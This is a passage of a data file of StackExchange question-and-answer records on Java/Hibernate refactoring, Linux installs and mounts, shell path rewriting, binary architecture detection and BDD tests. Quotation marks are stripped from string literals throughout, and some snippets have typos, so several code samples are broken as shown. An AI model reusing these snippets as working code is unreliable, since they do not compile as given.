exsubcriteria = subCriteriaMap.get(path);                    if (exsubcriteria == null) {                        subcriteria = subcriteria.createCriteria(name[0], name[1], CriteriaSpecification.LEFT_JOIN);                        subCriteriaMap.put(path, subcriteria);                    } else {                        subcriteria = exsubcriteria;                    }                    path += .;                }                final Iterator<Criterion> ir = restric.getCriterions().iterator();                while (ir.hasNext()) {                    subcriteria.add(ir.next());                }                final Iterator<Order> or = restric.getOrders().iterator();                while (or.hasNext()) {                    subcriteria.addOrder(or.next());                }            }        }    }    return criteria;}Since both methods do the same, we obviously want to refactor it into one method.Some things we've tried without resultCreating an interface (GenericCriteria) and two subclasses:public class OwnCriteria extends CriteriaImpl implements GenericCriteriaandpublic class OwnDetachedCriteria extends DetachedCriteria implements GenericCriteriaand use that interface in the method.Problem:We use Criteria#createCriteria(String, String, int) which returns a new Subcriteria(this, String, String, int);. Because Subcriteria is a final class, we can't create our own sub-class and we also can't make a convert-constructor in our Own classes because there aren't getters for all required constructor-parameters.Directly make an anonymous class from the interface (i.e. new BagGenericCriteria(){ @Override ... }Possible work-around that will most likely work, but is rather ugly:Using the shared interface (org.hibernate.criterion.CriteriaSpecification) as parameter and then use multiple instanceof checks for one or the other.NotesWe use Java 7 (so we can't use Java 8 features - for now)We use hibernate version 3.3.2.GA (so we can't use hibernate 4+ - for now)Some other parts of the code in the methods can be refactored as well, but right now we just want to have two exact identical methods (apart from the parameter used) refactored into one."  , "title": "Overloaded applyRestrictionsToCriteria() methods"  , "tags": "java;object oriented;interface;hibernate;overloading"  , "accepted_answer": "Vector vs List/ArrayListVector was retrofitted to be part of the Java Collections framework, and if you do not need the synchronization feature, you should update to the ArrayList class. In fact, you should opt for the List interface, so that callers of these methods can eventually be refactored to pass in other List implementations, like ArrayList, and these two methods only know they are dealing with Lists.Indentationpublic static DetachedCriteria applyRestrictionsToCriteria(DetachedCriteria criteria,                    Vector<RestrictionsHelper> filter) {    final Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();    if (filter != null) {        // processing goes here    }    return criteria;}If you do an early return from the null-check, you can reduce one level of indentation. You also eliminate the possibly redundant new HashMap<>() declaration too, when the null-check holds true:public static DetachedCriteria applyRestrictionsToCriteria(DetachedCriteria criteria,                    List<RestrictionsHelper> filter) { // changed Vector -> List    if (filter == null) {        return criteria;    }    Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();    // processing goes here    return criteria;}My take on final modifiers on method arguments and variables these days is that they are largely redundant, as long as you can easily observe that they are not carelessly reassigned. If you happen to come from a (programming) culture where this is done way too often, and thus you are introducing final to check such practices, then feel free to leave them in until such 'reminders' can be removed.Looping via iterationAnother way of doing looping via iteration is to rely on the standard for-loop as such:for (Iterator<RestrictionsHelper> helpers : filter.iterator(); helpers.hasNext(); ) {    // more processing goes here}This scopes the Iterator to within the for-loop itself. The simpler way is to use the enhanced for-each loop:for (RestrictionsHelper helper : filter) {    // more processing goes here}Deduplicating code blocks, part 1final Iterator<Order> or = restric.getOrders().iterator();while (or.hasNext()) {    subcriteria.addOrder(or.next());}Since this is done regardless of restric.getClassname().equals(), you can perform it outside of the if-block (illustrating only for DetachedCriteria):public static DetachedCriteria applyRestrictionsToCriteria(DetachedCriteria criteria,                    List<RestrictionsHelper> filter) {    if (filter == null) {        return criteria;    }    Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();    for (RestrictionsHelper helper : filter) {        DetachedCriteria currentCriteria;        if (helper.getClassname().isEmpty()) { // instead of String.equals()            currentCriteria = criteria;            // some processing here        } else {            // some processing here            // use currentCriteria instead of subcriteria        }        for (Order order : helper.getOrders()) {            currentCriteria.addOrder(order);        }    }    return criteria;}Declaring variables closer to usageNow let's take a look at the Map declaration again:Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();It's only being used when RestrictionsHelper.getClassname() is not empty. In addition, the only thing that code block seems to be doing is to eventually have currentCriteria be the final DetachedCriteria (following the example from the previous section) after splitting the class name. This suggests that we can convert this block into a method:private static DetachedCriteria processClassName(DetachedCriteria criteria,                                                     String className) {    DetachedCriteria result = critera;    StringBuilder path = new StringBuilder();    Map<String, DetachedCriteria> subCriteriaMap = new HashMap<>();    for (String element : className.split(\\\\.)) {        String[] name = getNameAndAlias(element);        path.append(name[0]);        DetachedCriteria temp = subCriteriaMap.get(path.toString());        if (temp == null) {            result = result.createCriteria(name[0], name[1],                                            CriteriaSpecification.LEFT_JOIN);            subCriteriaMap.put(path.toString(), result);        } else {            result = temp;        }        path.append('.');    }    return result;}Deduplicating code blocks, part 2The method in question now looks much shorter:public static DetachedCriteria applyRestrictionsToCriteria(DetachedCriteria criteria,                    List<RestrictionsHelper> filter) {    if (filter == null) {        return criteria;    }    for (RestrictionsHelper helper : filter) {        DetachedCriteria currentCriteria;        if (helper.getClassname().isEmpty()) {            currentCriteria = criteria;            for (Criterion criterion = helper.getCriterions()) {                criteria.add(criterion);                if (criterion.toString().contains(Happening_fk)) {                    criteria.setFetchMode(Happeningdetails, FetchMode.JOIN);                }            }        } else {            currentCriteria = processClassName(criteria, helper.getClassname());            for (Criterion criterion = helper.getCriterions()) {                currentCriteria.add(criterion);            }        }        for (Order order : helper.getOrders()) {            currentCriteria.addOrder(order);        }    }    return criteria;}Before we even move to the DetachedCriteria/Criteria discussion, we can simplify this method one step further as such:public static DetachedCriteria applyRestrictionsToCriteria(DetachedCriteria criteria,                    List<RestrictionsHelper> filter) {    if (filter == null) {        return criteria;    }    for (RestrictionsHelper helper : filter) {        boolean isClassnameEmpty = helper.getClassname().isEmpty();        DetachedCriteria currentCriteria = isClassnameEmpty ? criteria                    : processClassName(criteria, helper.getClassname());        for (Criterion criterion = helper.getCriterions()) {            currentCriteria.add(criterion);            if (isClassnameEmpty && criterion.toString().contains(Happening_fk)) {                currentCriteria.setFetchMode(Happeningdetails, FetchMode.JOIN);            }        }        for (Order order : helper.getOrders()) {            currentCriteria.addOrder(order);        }    }    return criteria;}Deduplicating code blocks, part 3Finally, the DetachedCriteria/Criteria discussion. You pointed out that an instanceof check is one way. Another alternative is to be inspired by Guava's Functions and Java 8's BiFunction to have your bespoke implementation of a two-tuple 'processor'-like interface:public interface OwnBiFunction<T, U> {    T apply(T original, U name);}(BTW, a 'true' BiFunction will have a third generic type for the return type, but since we know we want an instance of T to be returned, we'll take a short-cut here.)Then, modify processClassName() to accept this additional argument:private static <T> T processClassName(T criteria, String className,                                        OwnBiFunction<T, String[]> biFunction) {    T result = critera;    StringBuilder path = new StringBuilder();    Map<String, T> subCriteriaMap = new HashMap<>();    for (String element : className.split(\\\\.)) {        String[] name = getNameAndAlias(element);        path.append(name[0]);        T temp = subCriteriaMap.get(path.toString());        if (temp == null) {            result = biFunction.apply(result, name);            subCriteriaMap.put(path.toString(), result);        } else {            result = temp;        }        path.append('.');    }    return result;}The implementations for DetachedCriteria and Criteria are respectively:private static final OwnBiFunction<DetachedCriteria, String[]> DETACHED_CRITERIA =    new OwnBiFunction<>() {        DetachedCriteria apply(DetachedCriteria original, String[] name) {            return original.createCriteria(name[0], name[1],                                 CriteriaSpecification.LEFT_JOIN);        }    };private static final OwnBiFunction<Criteria, String[]> CRITERIA =    new OwnBiFunction<>() {        Criteria apply(Criteria original, String[] name) {            return original.createCriteria(name[0], name[1],                                 CriteriaSpecification.LEFT_JOIN);        }    };// Usage for both types// ...boolean isClassnameEmpty = helper.getClassname().isEmpty();DetachedCriteria currentCriteria = isClassnameEmpty ? criteria                    : processClassName(criteria, helper.getClassname(),                                        DETACHED_CRITERIA);// ...// ...boolean isClassnameEmpty = helper.getClassname().isEmpty();Criteria currentCriteria = isClassnameEmpty ? criteria                    : processClassName(criteria, helper.getClassname(),                                        CRITERIA);// ...Putting it altogetherYou can have a processClassName() method:private static <T> T processClassName(T criteria, String className,                                        OwnBiFunction<T, String[]> biFunction) {    T result = critera;    StringBuilder path = new StringBuilder();    Map<String, T> subCriteriaMap = new HashMap<>();    for (String element : className.split(\\\\.)) {        String[] name = getNameAndAlias(element);        path.append(name[0]);        T temp = subCriteriaMap.get(path.toString());        if (temp == null) {            result = biFunction.apply(result, name);            subCriteriaMap.put(path.toString(), result);        } else {            result = temp;        }        path.append('.');    }    return result;}And finally, a single applyRestrictionsToCriteria() method that takes in some bespoke interfaces for the actual processing on a DetachedCriteria or Criteria type:public static <T> T applyRestrictionsToCriteria(T criteria,                    List<RestrictionsHelper> filter,                    OwnBiFunction<T, String[]> biFunction,                    OwnBiFunction<T, Criterion> criterionAdder,                    Function<T, Void> fetchModeSetter, // this can be from Guava                    OwnBiFunction<T, Order> orderAdder) {    if (filter == null) {        return criteria;    }    for (RestrictionsHelper helper : filter) {        boolean isClassnameEmpty = helper.getClassname().isEmpty();        T currentCriteria = isClassnameEmpty ? criteria                    : processClassName(criteria, helper.getClassname(),                                         biFunction);        for (Criterion criterion = helper.getCriterions()) {            criterionAdder.apply(currentCriteria, criterion);            if (isClassnameEmpty && criterion.toString().contains(Happening_fk)) {                fetchModeSetter.apply(currentCriteria);            }        }        for (Order order : helper.getOrders()) {            orderAdder.apply(currentCriteria, order);        }    }    return criteria;}Java 8When you get the chance to upgrade to Java 8, it's relatively simple to 'upgrade' the method signature to the Java 8 types of BiFunction, BiConsumer and Consumer:public static <T> T applyRestrictionsToCriteria(T criteria,                    List<RestrictionsHelper> filter,                    BiFunction<T, String[], T> biFunction,                    BiConsumer<T, Criterion> criterionAdder,                    Consumer<T> fetchModeSetter,                    BiConsumer<T, Order> orderAdder) {    // same method body as above,    // except that BiConsumer's method is accept(T, U) instead of apply(T, U)    // and Consumer's method is accept(T) instead of Guava's Function.apply(T)}An example call can be:Criteria criteria = /* ... */;Criteria result = applyRestrictionsToCriteria(criteria,                        filter,                        (v, name) -> v.createCriteria(name[0], name[1],                                                 CriteriaSpecification.LEFT_JOIN),                        (v, c) -> v.add(c),                        v -> v.setFetchMode(Happeningdetails, FetchMode.JOIN),                        (v, o) -> v.addOrder(o));"  } 
{  "id": "_unix.183118"  , "question": "Yesterday I tried to install Kali Linux in my laptop. The installation succeeds and ask to remove installer cd/dvd/external drive at the end. But after that when I boot from Kali it starts installation process again. I continue installation 2 more times, but same issue continues.I am very confused about the issue.My Laptop ConfigurationIntel pentium dual core processor.2GB RAM320 GB Hard diskWindows 7 installed in C: driveI have another 3 Drives of 71GB each D:,E:,F:I am installing Kali on F: drive.I created a root partition, a boot partition and swap partitionAt my boot screen I can see 2 Operating Systems:1- Windows 72- Debian Linux installer"  , "title": "Kali Linux Install Issue"  , "tags": "linux;kali linux;debian installer"  , "accepted_answer": "I think there is some issue with boot loader.The GRUB is not loaded properly.And installation is not finished."  } 
{  "id": "_scicomp.136"  , "question": "How can the gravitational n-body problem be solved numerically in parallel?Is precision-complexity tradeoff possible?How does precision influence the quality of the model? "  , "title": "How can the gravitational n-body problem be solved in parallel?"  , "tags": "algorithms;numerics;precision;complexity;ode"  , "accepted_answer": "There is a wide variety of algorithms; Barnes Hut is a popular $\\mathcal{O}(N \\log N)$ method, and the Fast Multipole Method is a much more sophisticated $\\mathcal{O}(N)$ alternative. Both methods make use of a tree data structure where nodes essentially only interact with their nearest neighbors at each level of the tree; you can think of splitting the tree between the set of processes at a sufficient depth, and then having them cooperate only at the highest levels.You can find a recent paper discussing FMM on petascale machines here."  } 
{  "id": "_softwareengineering.155211"  , "question": "I am about start my first project with client, However I will work as a consultant. So do I need to get developer certificate and post my client's app in app store? Or I should ask my client to get the license and then I help them deploying the app on their name?They don't want company name to be my organisation but they want their company name to show up in App Store.However the developer of app is my organisation not them.How to deal with this situation?"  , "title": "Who should get a developer certificate from Apple if client want their company name to show up in App Store"  , "tags": "development process;deployment;apple;appstore;product owner"  , "accepted_answer": "Apple has this scenario covered. Your client will need to join the iOS dev program so they can post things to the store. They can then add you to their program for development certificates and such if you don't have your own as well as provision an iTunes connect account for you to publish to the store on their behalf.I would advise getting your own iOS dev program account if for no other reason than convenience. "  } 
{  "id": "_unix.288970"  , "question": "I saw this question: Converting .odm to .odt, where someone shows to convert an .odm file into .odt or .pdf. Is there also a way to do this in a command line? I have an Open Document Master file, which has a link to two external files, but when I type:soffice --headless --convert-to pdf master.odmThen I only see a blank file. The same when I first try to convert into odt and then into pdf:soffice --headless --convert-to odt master.odmsoffice --headless --convert-to pdf master.odt"  , "title": "Converting .odm to .odt or .pdf - command line"  , "tags": "command line;conversion;libreoffice;openoffice"  } 
{  "id": "_softwareengineering.228911"  , "question": "This is the problem I'm working with: given a phone number from anywhere in the world and some location information (state, province, possibly country name if I'm lucky, etc.), return the ISO country code for that number.For the purposes of this question, I will not focus on the location information, as that provides an alternative solution to determining the country code which doesn't even need to use the phone number anymore (though, it would be useful for validation purposes)When I first started working on the problem, I was hoping there was a deterministic way to figure this out because there was some sort of international standard out there. It became immediately apparent that one does not exist for phone numbers. There are standards within countries, between countries (NANP for example), but no unified international standard.Playing around with libphonenumbers for a few days, it seems to be able to provide accurate validation of a phone number if I'm given a country code (eg: CA for Canada, GB for United Kingdom, etc).The library provides two methods: isPossibleNumber, and isValidNumberForRegion. This is the code I'm usingboolean isValid;PhoneNumber number;PhoneNumberUtil util = PhoneNumberUtil.getInstance();String numStr = (123) 456-7890;for (String r : util.getSupportedRegions()){    try {        // check if it's a possible number        isValid = util.isPossibleNumber(numStr, r);        if (isValid)        {            number = util.parse(numStr, r);            // check if it's a valid number for the given region            isValid = util.isValidNumberForRegion(number, r);            if (isValid)                System.out.println(r + :  + number.getCountryCode() + ,  + number.getNationalNumber());        }    } catch (NumberParseException e)    {        e.printStackTrace();    }}So for example, if I took an arbitrary phone number like +44 20 7930 4832 and ran it through the method, I would get the following outputGB: 44, 2079304832Now, that's assuming I'm given the dialing code (sometimes it's there). If I weren't given the dialing code, I might just get something like 20 7930 4832, and the results are not as prettyDE: 49, 2079304832US: 1, 2079304832GB: 44, 2079304832FI: 358, 2079304832AX: 358, 2079304832RS: 381, 2079304832CN: 86, 2079304832NZ: 64, 2079304832IN: 91, 2079304832IR: 98, 2079304832JP: 81, 2079304832Given a phone number, I can run it through all of the different rules for every country and filter the list down from 244 to around 20 or less if I'm lucky, but I'm not sure if there's anything else I could do to try and guess the country."  , "title": "Guessing a phone number's country code"  , "tags": "java"  } 
{  "id": "_cstheory.7340"  , "question": "I want to write a simulator for a quantum computing model that I am working on and I was wondering what would be the correct library / implementation strategy to implement quantum cluster states? Specifically I want to compute a cluster state of a specific topological quantum computation. I am investigating algorithms using this model and I would like to have a toy implementation for a presentation. The specific algorithm would perform similarly to this.Encode the given knot algorithm into a set of braids and create a cluster state of those braidsPerform measurement on those braidsReturn a element of $Z_{n} \\in_{1,0}$Perform a classical operation on the knot.Perform another operation until the knot is in a desired state.See http://arxiv.org/pdf/1101.4722.pdf for a very simlar model."  , "title": "Computational Library to compute Quantum Cluster States"  , "tags": "ds.algorithms;reference request;quantum computing;implementation;topology"  , "accepted_answer": "As Peter mentions in the comments, it seems impossible to give an authoritive answer without knowing what exactly you are planning on doing with them. That said, there are at least a few places I can point you which may be of some use.Firstly, Pauli measurements on cluster states can be efficiently simulated on a classical computer. This is a direct result of the Gottesman-Knill theorem (see this paper by Gottesman and this follow-up paper by Gottesman and Aaronson), which Clifford group circuits can be efficiently evaluated via the stabilizer formalism. So it may be that stabilizers are the way you want to go.However, if you want to be a little less general, and restrict yourself to graph states (a general name for cluster states on general graphs) then there are two papers by Hein, Eisert and Briegel and Schlingemann which describe how Pauli measurements performed on a graph state result in states which are locally equivalent to graph states, and provide rules for these transformations. Thus it is quite possible to work with graphs as your data structure, as long as you do not intend to leave the Clifford group.Finally, Ross Duncan and Lucas Dixon have taken a category theoretic approach for automated reasoning about graphs and have produced some nice proof of concept software using this approach (see here).Also, I would point out that Raussendorf, Harrington and Goyal have previously looked at implementing topological computations via measurements on cluster states (they use it to achieve fault-tolerance in cluster states in a very beautiful way), and so you might be interested in their work (see here and here). These papers give an explicit encoding for encoding braids in a cluster state.UPDATE: I notice you have just added the forth point. The Raussendorf-Harrington-Goyal papers I linked to above do provide a very nice way of doing topological quantum computing via cluster states, which allows classical operations on the knots to be done within the Clifford group, and hence the stabilizer and graph transformation approaches I previously mentioned can be used to efficiently simulate these operations."  } 
{  "id": "_unix.387138"  , "question": "I want to modify my grub.cfg to select the font dynamically based on the screen resolution.  I have a 4K display on my laptop, but often boot with a 1080 external monitor, and the font that works on the 4K display is huge if using the external screen.  I do not want to force a lower resolution.  I can mostly determine the current video mode based on the output of the 'videoinfo' command, but I don't see how to get the output of that command into a variable so that I can parse it with the 'regexp' command."  , "title": "Grub2: Set font dynamically based on video resolution?"  , "tags": "grub2"  } 
{  "id": "_unix.141299"  , "question": "My laptop is an Aspire E1 -431. When I installed Linux Mint 15 and 17, I found that the NTFS drives cannot be mounted:Error mounting /dev/sda3 at /media/kutti/BE6C20D66C208B6B: Command-line `mount -t ntfs -o uhelper=udisks2,nodev,nosuid,uid=1000,gid=1000,dmask=0077,fmask=0177 /dev/sda3 /media/kutti/BE6C20D66C208B6B' exited with non-zero exit status 14: The disk contains an unclean file system (0, 0).Metadata kept in Windows cache, refused to mount.Failed to mount '/dev/sda3': Operation not permittedThe NTFS partition is in an unsafe state. Please resume and shutdownWindows fully (no hibernation or fast restarting), or mount the volumeread-only with the 'ro' mount option.Here i have enclosed my terminal working:After editing /etc/fstab and entering the command, sudo mount -a, I get the following message:[mntent]: line 13 in /etc/fstab is bad[mntent]: line 14 in /etc/fstab is bad"  , "title": "Mounting NTFS Drives in Linux Mint"  , "tags": "linux;ntfs"  } 
{  "id": "_softwareengineering.300223"  , "question": "In light of the recent OBJ_obj2txt vulnerability in LibreSSL (which was found during the OpenSMTPD audit, and does not affect OpenSSL), it came to my attention that the memory leak issue likely resulted from some earlier code refactoring, where the block scoped variable char *bndec was moved out to be function scoped instead.I know first-hand that there is this great resistance to block scoped variables within old-school projects like OpenBSD, but what other justification would there be to move the char *bndec declaration?More broadly, when was block scoping introduced for variables in C?  All I could find is that it was already part of C89.  Is that where it started, or was it also part of an earlier spec?"  , "title": "When was block scope for variables introduced to C, and why is it still frowned upon?"  , "tags": "c;scope;memory usage"  } 
{  "id": "_webapps.28020"  , "question": "Is there a way to integrate music files from my Google Drive with Google Music? If not, are there any plans to add this functionality? I upload a lot of my files to Google Drive and it would be convenient to be able to play my music files from there, or even import them from there into Google Music."  , "title": "Is there a way to integrate my Google Drive with Google Music?"  , "tags": "google drive;google music"  } 
{  "id": "_unix.237193"  , "question": "I've been looking everywhere. Didn't find the answer so I'm looking up to you!Program in my job outputs many 10-50 *.pc files with folder-structure:RESULTS/MODEL_Y0/Positioning_1.pcRESULTS/MODEL_Y0/SK312_2SK_Y0_2012.pcRESULTS/MODEL_Y100/Positioning_2.pcRESULTS/MODEL_Y100/SK312_2SK_Y100_2012.pcRESULTS/MODEL_Y250/Positioning_45.pcRESULTS/MODEL_Y250/SK312_2SK_-Y575_2012.pcEach PC file has inside absolute paths starting on xxx (not always 101, but it's always the second occurance of the INCLU word) line like:INCLU / Positioning_1.pcINCLU / /ST/statika/AGP-Pedestrian_Ansa-Meta/SK312_2SK_xxx/SK312_SERIE.incINCLU / /ST/statika/AGP-Pedestrian_Ansa-Meta/SK312_2SK_xxx/SK312_xPL_impactor.incINCLU / /ST/statika/AGP-Pedestrian_Ansa-Meta/SK312_2SK_xxx/SK312_materials.incI need to change these lines of absolute path to relative like:INCLU / Positioning_1.pcINCLU / ../../SK312_SERIE.incINCLU / ../../SK312_xPL_impactor.incINCLU / ../../SK312_materials.incWhich I've done by writing a script placed above RESULTS folder: (part of the script)grep -rl ${SEARCH} --include \\*.pc ./ | xargs sed -i s#${SEARCH}#${REPLACE}#gwhere:$SEARCH = /ST/statika/AGP-Pedestrian_Ansa-Meta/SK312_2SK_xxx/$REPLACE = ../../BUT here is the problem. When operating from longer than 81 chars path, the program will output the .pc files in the same folder-structure pattern, but inside the PC file, the absolute paths are separated to new line by - on 81. char position:INCLU / Positioning_1.pcINCLU / /ST/statika/uziv/JVERNER/PROJEKTY/Ansa/AGP-Pedestrian_Ansa-Meta/SK312_2S-K_xxx/SK312_SERIE.incINCLU / /ST/statika/uziv/JVERNER/PROJEKTY/Ansa/AGP-Pedestrian_Ansa-Meta/SK312_2S-K_xxx/SK312_xPL_impactor.incINCLU / /ST/statika/uziv/JVERNER/PROJEKTY/Ansa/AGP-Pedestrian_Ansa-Meta/SK312_2S-K_xxx/SK312_materials.incwhere: $SEARCH = /ST/statika/uziv/JVERNER/PROJEKTY/Ansa/AGP-Pedestrian_Ansa-Meta/SK312_2SK_xxx/Here's the problem. My script doesn't see the variable $SEARCH. What's even bigger problem is that the path could be longer than 180 chars so there will be three-line path with two - dividers.I can't comprehend how to write a script that would be functional with these multi-lines so that the path variable would shorten to ../../SK312_*.inc as before with short absolute one-line path."  , "title": "How to rewrite multiline path into one-line relative path"  , "tags": "shell script"  , "accepted_answer": "If your program is cutting the lines, you will need to join them before running your sed. For example:grep -rl ${SEARCH} --include \\*.pc ./ |     xargs sed -i s/-$//; s/-\\n//; s#${SEARCH}#${REPLACE}#gOr grep -rl ${SEARCH} --include \\*.pc ./ |    xargs perl -i -pe s/-\\n//; s#$SEARCH#$REPLACE#gAlternatively, you could use find instead of grep:find  -type f -name '*.pc' -exec perl -i -pe s/-\\n//; s#$SEARCH#$REPLACE#g {} +All of the above approaches will recurse into subdirectories. "  } 
{  "id": "_reverseengineering.2897"  , "question": "Assuming that I have binary file with code for unknow CPU can I somehow detect cpu architecture? I know that it depends mostly on compiler but I think that for most of CPU architectures it should be alot of CALL/RETN/JMP/PUSH/POP opcodes (statistically more than others). Or maybe should I search for some patterns in code specific for CPU (instead of opcodes occurrence)?"  , "title": "Tool or data for analysis of binary code to detect CPU architecture"  , "tags": "binary analysis"  , "accepted_answer": "When you have a hammer, all the problems look like nails...Ive studied something called Normalized Compression Distance - NCD  - some time ago, and I'd give it a try if I had a problem similar to yours.Id make a database of examples. Would take 20 programs for each architecture you want to know, with variable sizes, and save them.When confronted with a program that I wanted to know which architecture it is, Id compute its NCD against all my examples.Id pick the best (smaller) NCD and would then verify it if is was a real match (lets say, trying to run it on the discovered architecture).UpdateIve always done in by hand, when it comes to NCD. How I did it:you have 20 files for SPARC and you call them A01, A02, A03, and so on. Your x86 files: B01, B02, etc.You get the unknown file and call it XX.Choose your preferred compression tool (I used Gzip, but see remarks at the end of this answer).Calculate NCD for the first pair:NCD(XX,A01) = ( Z(XX+A01) - min(Z(XX), Z(A01) ) / max(Z(XX), Z(A01))Z( something ) -> means that you compress the something with Gzip and get the file size after compression. For example, 8763 bytes, so Z(something) = 8763.XX + A01 -> means that you concatenate things. You append the A01 file to the end of the XX file. In linux, you could do a cat XX A01 > XXA01.min() and max() -> you calculate the compressed size of XX and A01, and use the minimum and maximum that you get.So youll have a NCD value: itll lie between 0 and 1, and use as many decimals places as you can, because sometimes the difference is in the 7th or 8th digit. Itll be like comparing 0.999999887 to 0.999999524.Youll do that for every file, so youll have 20 NCD results for SPARC, 20 for x86...Get the smaller NCD of all. Lets say that the B07 file gave you the smaller NCD. So, probably, the unknow file is a x86.Tips:your unknow and your test files must have a similar size. When you compare a file with bigger or smaller ones, NCD wont do its magic. So, if youll be testing files of 5 to 10k, Id get test files of 2.5k, 5k, 7.5k, 10k, 12.5k ...In my Master degree I got better results always using the smaller NCD value. The second best method was to do some voting: get the 5 smaller NCD results, and see which architecture got more votes. Ex.: smaller NCD were A03, A05, B02, B06, B07 -> B go 3 votes, so Id say its a x86...compressors based on the Zip construction have a limitation of 32kB: the way they compress things, they just consider 32kB at time. If your XX + A01 is bigger than this, Gzip, Zip, etc., wont give you good results. So, for files that are bigger than 15 or 16kB, Id choose another compressor: PPMD, Bzip..."  } 
{  "id": "_codereview.136639"  , "question": "Wikipedia has an example of a decorator pattern here:https://en.wikipedia.org/wiki/Decorator_pattern#Second_example_.28coffee_making_scenario.29I was trying to solve this using functional style using Java 8 just to compare the Oop style and functional style of solving the same problem.The solution I came up:1.CoffeeDecorator.javapublic class CoffeeDecorator {public static Coffee getCoffee(Coffee basicCoffee, Function<Coffee, Coffee>... coffeeIngredients) {    Function<Coffee, Coffee> chainOfFunctions = Stream.of(coffeeIngredients)                                                      .reduce(Function.identity(),Function::andThen);    return chainOfFunctions.apply(basicCoffee);}public static void main(String args[]) {    Coffee simpleCoffee = new SimpleCoffee();    printInfo(simpleCoffee);    Coffee coffeeWithMilk = CoffeeDecorator.getCoffee(simpleCoffee, CoffeeIngredient::withMilk);    printInfo(coffeeWithMilk);    Coffee coffeeWithWSprinkle = CoffeeDecorator.getCoffee(coffeeWithMilk,CoffeeIngredient::withSprinkles);         printInfo(coffeeWithWSprinkle);}public static void printInfo(Coffee c) {    System.out.println(Cost:  + c.getCost() + ; Ingredients:  + c.getIngredients());}}2.CoffeeIngredient.javapublic class CoffeeIngredient { public static Coffee withMilk(Coffee coffee) {    return new Coffee() {        @Override        public double getCost() {            return coffee.getCost() + 0.5;        }        @Override        public String getIngredients() {            return coffee.getIngredients() +  , Milk;        }    };}public static Coffee withSprinkles(Coffee coffee) {    return new Coffee() {        @Override        public double getCost() {            return coffee.getCost() + 0.2;        }        @Override        public String getIngredients() {            return coffee.getIngredients() +  , Sprinkles;        }    };}}Now, I am not so convinced with the solution in the CoffeeIngredient. If we had a single responsibility in the Coffee interface, getCost(), using the functional style and applying the decorator pattern seems a lot better and cleaner. It would basically boil down to a Function ,we would not need the abstract class, separate decorators and can just chain the functions.But in the coffee example, with 2 behaviors of the cost and description on the Coffee interface, I am not so convinced that this is a significant value addition as we are creating an anonymous class,overriding the 2 methods.I am not looking at a performance perspective but rather looking at it from a functional vs oop style of solving the problem.If we were to restrict our solution to functional design/style using Java 8, then :Questions:1) Is this functional style of solution acceptable ?2) If not, is there a better way to solve it using Java 8 functional style rather than creating the anonymous classes which seem to implement Coffee interface ?"  , "title": "Decorator pattern using Java 8"  , "tags": "java;design patterns;functional programming"  } 
{  "id": "_cogsci.15962"  , "question": "I often end up having loads of things which I am learning. One of the pattern which I have observed over time is that I often end up leaving things half way - for months and then, I have to restart doing the basics again. I feel that if only I ended up taking a few steps more, I could have gained much more from my revisions.I have a couple of questions - Is this good practice?Is there any cognitive reason behind this?How does one overcome/control this tendency to start off something new before finishing the older ones?"  , "title": "What are the techniques to get over the learning plateau?"  , "tags": "psychology;self discipline"  } 
{  "id": "_softwareengineering.202870"  , "question": "I have around 10000+ strings and have to identify and group all the strings which looks similar(I base the similarity on the number of common words between any two give strings). The more number of common words, more similar the strings would be. For instance:How to make another layer from an existing layerUnable to edit data on the network driveExisting layers in the desktopAssistance with network driveIn this case, the strings 1 and 3 are similar with common words Existing, Layer and 2 and 4 are similar with common words Network Drive(eliminating stop word)The steps I'm following are:Iterate through the data setDo a row by row comparisonFind the common words between the stringsForm a cluster where number of common words is greater than or equal to 2(eliminating stop words)If number of common words<2, put the string in a new cluster.Assign the rows either to the existing clusters or form a new one depending upon the common wordsContinue until all the strings are processedI am implementing the project in C#, and have got till step 3. However, I'm not sure how to proceed with the clustering. I have researched a lot about string clustering but could not find any solution that fits my problem. Your inputs would be highly appreciated."  , "title": "Clustering Strings on the basis of Common Substrings"  , "tags": "c#;sql;strings;cluster;data mining"  } 
{  "id": "_codereview.166199"  , "question": "BackgroundI already changed my mind towards the SOLID principles, and am applying them in everything that I create.Now I am reading a lot of articles about TDD and BDD, aiming to begin applying those concepts in new projects.I decided to use xUnit and Moq as my helpers, because of simplicity and LINQ to Mocks.Like I try to do with every new concept that I learn, I am trying to come up with a pattern to follow, so things become more familiar to work with.The codeThe following code is my first attempt to get into it (mainly based on two articles in the comments). The class being tested is not currently implemented, the point here is to came with a good approach to implement BDD using xUnit with the visual studio runner.To get at that, I tried to use inheritance to pass context to each test case of the same SUT, using names that give a clear intent of each case. Also I tried to separate the action from the assertion and context setup.The intent of the future implemented class is to generate specific flavors of some IQuery (like IFrom, ICount, IName), which represents pieces of an SQL query, dynamically build in some other class, beyond the scope of this.The IInstructionFactory dependency is the abstraction of a class that generate those IQuery derived interfaces and is implemented in another assembly (one for MySql, another for SQL Server).The IExpressionTranslator dependency is the abstraction of a class that gets some lambda expression and converts to ICondition (which in turn is a derivation of IQuery too).Base context class:public abstract class ContextSpecification {    protected ContextSpecification() {        Context();        BecauseOf();    }    protected virtual void BecauseOf() {    }    protected virtual void Context() {    }    protected virtual void Cleanup() {    }}My first try to BDD unit testing:public class describe_CommonQueryCreator : ContextSpecification {    private CommonQueryCreator queryCreator;    private Mock<IInstructionFactory> factoryMock;    private Mock<IExpressionTranslator> translatorMock;    protected override void Context() {        SetupExpressionTranslator();        SetupInstructionFactory();        queryCreator = new CommonQueryCreator(factoryMock.Object, translatorMock.Object);    }    protected virtual void SetupExpressionTranslator() => translatorMock = new Mock<IExpressionTranslator>();    protected virtual void SetupInstructionFactory() => factoryMock = new Mock<IInstructionFactory>();    public class when_creating_count_query : describe_CommonQueryCreator {        private ICount resultQuery;        public class given_correct_input : when_creating_count_query {            private readonly string tableName = MimasTest;            private readonly Expression<Func<bool>> predicate = () => true;            private Views.ICondition mockedCondition;            protected override void SetupExpressionTranslator() {                base.SetupExpressionTranslator();                mockedCondition = new Mock<Views.ICondition>().Object;                translatorMock.Setup(translator => translator.TranslateToCondition(predicate)).Returns(mockedCondition);            }            protected override void SetupInstructionFactory() {                base.SetupInstructionFactory();                IName mockedName = new Mock<IName>().Object;                INameList mockedTables = new Mock<INameList>().Object;                IFrom mockedFrom = new Mock<IFrom>().Object;                factoryMock.Setup(factory => factory.CreateName(tableName)).Returns(mockedName);                factoryMock.Setup(factory => factory.CreateNameList(It.Is<IEnumerable<IName>>(valueList => valueList != null && valueList.Count() == 1 && 